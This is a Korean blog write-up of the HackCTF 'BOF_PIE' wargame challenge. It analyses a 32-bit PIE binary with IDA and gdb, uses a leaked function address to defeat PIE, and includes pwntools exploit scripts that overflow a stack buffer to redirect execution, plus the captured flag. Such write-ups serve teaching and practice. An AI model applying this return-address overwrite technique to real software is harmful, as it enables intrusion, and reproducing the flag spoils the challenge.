[문제]
[풀이]
- 32bit 바이너리
- 카나리 없음
- NX bit 존재
- PIE 존재
바이너리 실행
- j0n9hyun의 주소를 출력한 후 사용자로부터 입력을 받고 있음
- 주소 값의 하위 1.5byte는 고정되어 있음 → PIE가 걸려있어 모든 영역이 상대주소를 가짐. offset은 고정
IDA 분석 - main 함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
welcome();
puts("Nah...");
return 0;
}
- 단순히 welcome 함수 호출
IDA 분석 - welcome 함수
int welcome()
{
char v1; // [esp+6h] [ebp-12h]@1
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Hello, Do you know j0n9hyun?");
printf("j0n9hyun is %p\\n", welcome);
return _isoc99_scanf("%s", &v1);
}
- printf에서 welcome 함수 주소 출력
- return에서 사용자의 입력을 받고 있음 → 입력값에 대한 길이 검증을 실시하지 않아 BOF 발생
IDA 분석 - j0n9hyun 함수
void j0n9hyun()
{
char s; // [esp+4h] [ebp-34h]@3
FILE *stream; // [esp+2Ch] [ebp-Ch]@1
puts("ha-wi");
stream = fopen("flag", "r");
if ( stream )
{
fgets(&s, 40, stream);
fclose(stream);
puts(&s);
}
else
{
perror("flag");
}
}
- flag 획득 가능
gdb 분석 - 함수 주소
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x00000640 _init
0x00000680 printf@plt
0x00000690 fgets@plt
0x000006a0 fclose@plt
0x000006b0 perror@plt
0x000006c0 puts@plt
0x000006d0 __libc_start_main@plt
0x000006e0 setvbuf@plt
0x000006f0 fopen@plt
0x00000700 __isoc99_scanf@plt
0x00000710 __cxa_finalize@plt
0x00000718 __gmon_start__@plt
0x00000720 _start
0x00000760 __x86.get_pc_thunk.bx
0x00000770 deregister_tm_clones
0x000007b0 register_tm_clones
0x00000800 __do_global_dtors_aux
0x00000850 frame_dummy
0x0000088c __x86.get_pc_thunk.dx
0x00000890 j0n9hyun
0x00000909 welcome
0x00000973 main
0x000009b0 __libc_csu_init
0x00000a10 __libc_csu_fini
0x00000a14 _fini
- main offset: 0x973
- welcome offset: 0x909
- j0n9hyun offset: 0x890
gdb 분석 - main 함수
pwndbg> disass welcome
Dump of assembler code for function welcome:
0x00000909 <+0>: push ebp
0x0000090a <+1>: mov ebp,esp
0x0000090c <+3>: sub esp,0x18
0x0000090f <+6>: mov eax,ds:0x0
0x00000914 <+11>: push 0x0
0x00000916 <+13>: push 0x2
0x00000918 <+15>: push 0x0
0x0000091a <+17>: push eax
0x0000091b <+18>: call 0x91c <welcome+19>
0x00000920 <+23>: add esp,0x10
0x00000923 <+26>: mov eax,ds:0x0
0x00000928 <+31>: push 0x0
0x0000092a <+33>: push 0x2
0x0000092c <+35>: push 0x0
0x0000092e <+37>: push eax
0x0000092f <+38>: call 0x930 <welcome+39>
0x00000934 <+43>: add esp,0x10
0x00000937 <+46>: sub esp,0xc
0x0000093a <+49>: push 0xa3d
0x0000093f <+54>: call 0x940 <welcome+55>
0x00000944 <+59>: add esp,0x10
0x00000947 <+62>: sub esp,0x8
0x0000094a <+65>: push 0x909
0x0000094f <+70>: push 0xa5a
0x00000954 <+75>: call 0x955 <welcome+76>
0x00000959 <+80>: add esp,0x10
0x0000095c <+83>: sub esp,0x8
0x0000095f <+86>: lea eax,[ebp-0x12]
0x00000962 <+89>: push eax
0x00000963 <+90>: push 0xa6a
0x00000968 <+95>: call 0x969 <welcome+96>
0x0000096d <+100>: add esp,0x10
0x00000970 <+103>: nop
0x00000971 <+104>: leave
0x00000972 <+105>: ret
End of assembler dump.
- 함수 이름이 나타나지 않음
- 디컴파일 흐름에 따라 가장 마지막에 위치한 call 부분이 scanf 함수를 호출하는 부분일 것이라 예측
- welcome+100에 bp 걸어 임의의 입력 값 입력
- 사용자의 입력은 0xffffd026에 저장
- 0xffffd03c에서 main+22(ret) 확인
- 사용자의 입력~0xffffd03c까지의 offset = 22(0x16)
문제 해결
💡 dummy(22) + j0n9hyun_address(0x890)
→ j0n9hyun의 주소까지의 offset = welcome 주소(0x909) - j0n9hyun 주소(0x890) = 121(0x79)
→ 바이너리 실행으로 얻을 수 있는 welcome 주소를 이용해 offset만큼 빼주면 j0n9hyun 주소를 구할 수 있음
Python2
from pwn import *
p=remote('ctf.j0n9hyun.xyz', 3008)
e=ELF('./bof_pie')
p.recvuntil("is ")
welcome = int(p.recv(10), 16)
j0n9hyun = welcome - 0x79
payload = "A"*22 + p32(j0n9hyun)
p.sendline(payload)
p.interactive()
Python3 - 직접 shellcode 가져와 진행
from pwn import *
p=remote('ctf.j0n9hyun.xyz', 3008)
e=ELF('./bof_pie')
p.recvuntil("is ")
welcome = int(p.recv(10), 16)
j0n9hyun = welcome - 0x79
payload = b"A"*22 + p32(j0n9hyun)
p.sendline(payload)
p.interactive()
flag
🍒 HackCTF{243699563792879976364976468837}
[정리]
- NX Bit
: heap, stack, data영역에 실행권한이 없음
- PIE
: code(text)영역을 포함한 모든 영역이 랜덤하게 매핑(data, stack, heap, libc)
- ASLR
: stack, heap, library 영역이 랜덤하게 매핑
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Simple_Overflow_ver_2 (0) | 2022.10.30 |
---|---|
[HackCTF] Offset (0) | 2022.10.30 |
[HackCTF] Yes or no (0) | 2022.10.30 |
[HackCTF] RTL_World (0) | 2022.10.30 |
[HackCTF] g++ pwn (0) | 2022.10.30 |